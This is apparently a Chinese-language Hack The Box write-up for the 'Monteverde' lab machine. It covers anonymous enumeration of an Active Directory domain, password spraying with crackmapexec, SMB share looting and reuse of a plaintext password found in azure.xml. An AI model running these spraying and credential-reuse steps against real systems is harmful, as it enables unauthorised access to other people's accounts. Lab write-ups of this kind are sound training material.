

Monteverde

Nmap扫描结果如下所示:

```
(kali㉿kali)-[~/Desktop/HTB/monteverde]
$ sudo nmap -sC -sV 10.10.10.172
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-28 12:10 EDT
Nmap scan report for 10.10.10.172
Host is up (0.32s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2022-08-28 16:10:51Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3269/tcp  open  tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-08-28T16:11:13
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.33 seconds

(kali㉿kali)-[~/Desktop]
$ sudo nmap -sC -sV 10.10.10.172 -p-
[sudo] password for kali:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-28 12:10 EDT
Nmap scan report for 10.10.10.172
Host is up (0.34s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2022-08-28 16:27:17Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf           .NET Message Framing
49667/tcp open  msrpc            Microsoft Windows RPC
49673/tcp open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc            Microsoft Windows RPC
49676/tcp open  msrpc            Microsoft Windows RPC
49693/tcp open  msrpc            Microsoft Windows RPC
49747/tcp open  msrpc            Microsoft Windows RPC
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2022-08-28T16:28:12
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1120.06 seconds
```

首先使用smb服务:

```

(kali@kali)-[~/Desktop/HTB/monteverde]
$ crackmapexec smb 10.10.10.172 -u anonymous
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient -N -L //10.10.10.172
Anonymous login successful

    Sharename      Type            Comment
    -----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(kali@kali)-[~/Desktop/HTB/monteverde]
$ enum4linux 10.10.10.172
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Aug 29 09:20:34 2022

===== ( Target Information ) =====

Target ..... 10.10.10.172
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

===== ( Enumerating Workgroup/Domain on 10.10.10.172 ) =====

[E] Can't find workgroup/domain

===== ( Nbtstat Information for 10.10.10.172 ) =====

Looking up status of 10.10.10.172
No reply from 10.10.10.172

===== ( Session Check on 10.10.10.172 ) =====

[+] Server 10.10.10.172 allows sessions using username '', password ''

===== ( Getting domain SID for 10.10.10.172 ) =====

Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492

[+] Host is part of a domain (not a workgroup)

===== ( OS information on 10.10.10.172 ) =====

[E] Can't get OS info with smbclient

[+] Got OS info for 10.10.10.172 from srvinfo:
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

===== ( Users on 10.10.10.172 ) =====

index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05
c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)

user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]

===== ( Share Enumeration on 10.10.10.172 ) =====

do_connect: Connection to 10.10.10.172 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)

    Sharename      Type            Comment
    -----
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 10.10.10.172

```

===== (Password Policy Information for 10.10.10.172) =====

```

[+] Attaching to 10.10.10.172 using a NULL share
[+] Trying protocol 139/SMB...
    [!] Protocol failed: Cannot request session (Called Name:10.10.10.172)
[+] Trying protocol 445/SMB...
[+] Found domain(s):
    [+] MEGABANK
    [+] Builtin
[+] Password Info for Domain: MEGABANK
    [+] Minimum password length: 7
    [+] Password history length: 24
    [+] Maximum password age: 41 days 23 hours 53 minutes
    [+] Password Complexity Flags: 000000
        [+] Domain Refuse Password Change: 0
        [+] Domain Password Store Cleartext: 0
        [+] Domain Password Lockout Admins: 0
        [+] Domain Password No Clear Change: 0
        [+] Domain Password No Anon Change: 0
        [+] Domain Password Complex: 0
    [+] Minimum password age: 1 day 4 minutes
    [+] Reset Account Lockout Counter: 30 minutes
    [+] Locked Account Duration: 30 minutes
    [+] Account Lockout Threshold: None
    [+] Forced Log off Time: Not Set

```

[+] Retrieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 7

===== (Groups on 10.10.10.172) =====

[+] Getting builtin groups:

```

group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]

```

[+] Getting builtin group memberships:

```

Group: Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Group: Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Group: IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Group: Users' (RID: 545) has member: Couldn't lookup SIDs
Group: Guests' (RID: 546) has member: Couldn't lookup SIDs
Group: Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs

```

[+] Getting local groups:

```

group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]

```

[+] Getting local group memberships:

```
[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]

[+] Getting local group memberships:
Group: ADSyncAdmins' (RID: 1105) has member: Couldn't lookup SIDs
Group: Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs

[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]

[+] Getting domain group memberships:
Group: 'HelpDesk' (RID: 2611) has member: MEGABANK\roleary
Group: 'Domain Guests' (RID: 514) has member: MEGABANK\Guest
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\Administrator
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Azure Admins' (RID: 2601) has member: MEGABANK\mhope
Group: 'Trading' (RID: 2610) has member: MEGABANK\dgalanos
Group: 'Operations' (RID: 2609) has member: MEGABANK\smorgan
Group: 'Group Policy Creator Owners' (RID: 520) has member: MEGABANK\Administrator
Group: 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
Group: 'Domain Users' (RID: 513) has member: MEGABANK\krbtgt
Group: 'Domain Users' (RID: 513) has member: MEGABANK\AAD_987d7f2f57d2
Group: 'Domain Users' (RID: 513) has member: MEGABANK\mhope
Group: 'Domain Users' (RID: 513) has member: MEGABANK\SABatchJobs
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-ata
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-bexec
Group: 'Domain Users' (RID: 513) has member: MEGABANK\svc-netapp
Group: 'Domain Users' (RID: 513) has member: MEGABANK\dgalanos
Group: 'Domain Users' (RID: 513) has member: MEGABANK\roleary
Group: 'Domain Users' (RID: 513) has member: MEGABANK\smorgan

===== ( Users on 10.10.10.172 via RID cycling (RIDS: 500-550,1000-1050) ) =====

[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED. RID cycling not possible.

===== ( Getting printer info for 10.10.10.172 ) =====

do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED

enum4linux complete on Mon Aug 29 09:28:11 2022
```

记录所有用户名信息和域名信息，使用GetNPUser没有办法获得密码，试试ldapsearch：没有价值信息。

然后想到使用crackmapexec，爆破尝试看有没有用户名是弱密码的：


```
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:123456 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:123456789 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:qwerty STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:password STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:12345 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:12345678 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:111111 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:1234567 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:123123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:qwerty123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:1q2w3e STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:1234567890 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:DEFAULT STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:000000 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:abc123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:654321 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:123321 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:qwertyuiop STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:Iloveyou STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:666666 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:123456 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:123456789 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:qwerty STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:password STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:12345 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:12345678 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:111111 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:1234567 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:123123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:qwerty123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:1q2w3e STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:1234567890 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:DEFAULT STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:000000 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:abc123 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:654321 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:123321 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:qwertyuiop STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:Iloveyou STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:666666 STATUS_LOGON_FAILURE

(kali@kali)-[~/Desktop/HTB/monteverde]
$ crackmapexec smb 10.10.10.172 -u ./.user -p ./user
SMB 10.10.10.172 445 MONTEVERDE [+] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-ata STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-bexec STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:svc-netapp STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:dgalanos STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:roleary STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:smorgan STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:Guest STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:AAD_987d7f2f57d2 STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs
```

弱密码没有，但是用户名密码相同的情况爆破成功了一个。

```
(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbmap -H 10.10.10.172 -u SABatchJobs -p 'SABatchJobs'
[+] IP: 10.10.10.172:445 Name: 10.10.10.172

Disk Permissions Comment
ADMIN$ NO ACCESS Remote Admin
azure_uploads READ ONLY
C$ NO ACCESS Default share
E$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
users$ READ ONLY
```

smbclient查找价值信息：

```

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/azure_uploads -u SABatchJobs --password=SABatchJobs

Invalid option -u: unknown option

Usage: smbclient [-?EggBNPKV] [-?]--help [-?usage] [-M]--message=HOST] [-I]--ip-address=IP] [-E]--stderr [-L]--list=HOST] [-T]--tar=<c|x>IXFvgbMan] [-D]--directory=DIR]
[-c]--command=STRING] [-b]--send-buffer=BYTES] [-t]--timeout=SECONDS] [-p]--port=PORT] [-g]--grepable [-q]--quiet [-B]--browse [-d]--debuglevel=DEBUGLEVEL] [--debug-stdout]
[-s]--configfile=CONFIGFILE] [--option=name=value] [-l]--log-basename=LOGFILEBASE] [--leak-report] [--leak-report-full] [-R]--name-resolve=NAME-RESOLVE-ORDER]
[-O]--socket-options=SOCKETOPTIONS] [-m]--max-protocol=MAXPROTOCOL] [-n]--netbiosname=NETBIOSNAME] [--netbios-scope=SCOPE] [-W]--workgroup=WORKGROUP] [--realm=REALM]
[-U]--user=[DOMAIN/]USERNAME[%PASSWORD]] [-N]--no-pass] [--password=STRING] [--pw-nt-hash] [-A]--authentication-file=FILE] [-P]--machine-pass] [--simple-bind-dn=DN]
[--use-kerberos=desired|required|off] [--use-krb5-ccache=CCACHE] [--use-winbind-ccache] [--client-protection=sign|encrypt|off] [-k]--kerberos [-V]--version]
[OPTIONS] service <password>

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/azure_uploads -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Fri Jan  3 07:43:06 2020
..               D           0   Fri Jan  3 07:43:06 2020

309503 blocks of size 4096. 304926 blocks available
smb: \> exit

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/IPC$ -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
NT_STATUS_NO_SUCH_FILE listing \*
smb: \> exit

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/NETLOGON -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Thu Jan  2 17:05:14 2020
..               D           0   Thu Jan  2 17:05:14 2020

5795583 blocks of size 4096. 1446597 blocks available
smb: \> exit

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/SYSVOL -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Thu Jan  2 17:05:14 2020
..               D           0   Thu Jan  2 17:05:14 2020
MEGABANK.LOCAL  Dr           0   Thu Jan  2 17:05:14 2020

5795583 blocks of size 4096. 1446597 blocks available
smb: \> cd MEGABANK.LOCAL
smb: \MEGABANK.LOCAL\> ls
.                D           0   Thu Jan  2 17:11:34 2020
..               D           0   Thu Jan  2 17:11:34 2020
DfsrPrivate     DHSr           0   Thu Jan  2 17:11:34 2020
Policies         D           0   Thu Jan  2 17:05:22 2020
scripts         D           0   Thu Jan  2 17:05:14 2020

5795583 blocks of size 4096. 1446597 blocks available
smb: \MEGABANK.LOCAL\> cd DfsrPrivate
cd \MEGABANK.LOCAL\DfsrPrivate\; NT_STATUS_ACCESS_DENIED
smb: \MEGABANK.LOCAL\> get DfsrPrivate
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \MEGABANK.LOCAL\DfsrPrivate
smb: \MEGABANK.LOCAL\> exit

(kali@kali)-[~/Desktop/HTB/monteverde]
$ smbclient //10.10.10.172/users$ -U SABatchJobs%SABatchJobs
Try "help" to get a list of possible commands.
smb: \> ls
.                D           0   Fri Jan  3 08:12:48 2020
..               D           0   Fri Jan  3 08:12:48 2020
dgalanos        D           0   Fri Jan  3 08:12:30 2020
mhope           D           0   Fri Jan  3 08:41:18 2020
roleary         D           0   Fri Jan  3 08:10:30 2020
smorgan         D           0   Fri Jan  3 08:10:24 2020

309503 blocks of size 4096. 304926 blocks available
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
getting file \mhope\azure.xml of size 1212 as mhope\azure.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
smb: \> cd smorgan
smb: \smorgan\> ld
ld: command not found
smb: \smorgan\> ls
.                D           0   Fri Jan  3 08:10:24 2020
..               D           0   Fri Jan  3 08:10:24 2020

309503 blocks of size 4096. 304926 blocks available
smb: \smorgan\> exit

(kali@kali)-[~/Desktop/HTB/monteverde]
$ ls
dgalanos  ldap_hash  mhope  roleary  smorgan  user  weak_pass

(kali@kali)-[~/Desktop/HTB/monteverde]
$

```

```

(kali@kali)-[~/Desktop/HTB/monteverde/mhope]
$ cat azure.xml
<<0bjs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
      <T>System.Object</T>
    </TN>
    <ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
    <Props>
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>
    </Props>
  </Obj>
</0bjs>

```

```

(kali@kali)~[~/Desktop/HTB/monteverde]
$ crackmapexec smb 10.10.10.172 -u ./user -p 4n0therD4y@n0th3r$
SMB 10.10.10.172 445 MONTEVERDE [*] Windows 10.0 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\Guest:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.10.10.172 445 MONTEVERDE [*] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$

(kali@kali)~[~/Desktop/HTB/monteverde]
$ crackmapexec winrm 10.10.10.172 -u mhope -p 4n0therD4y@n0th3r$
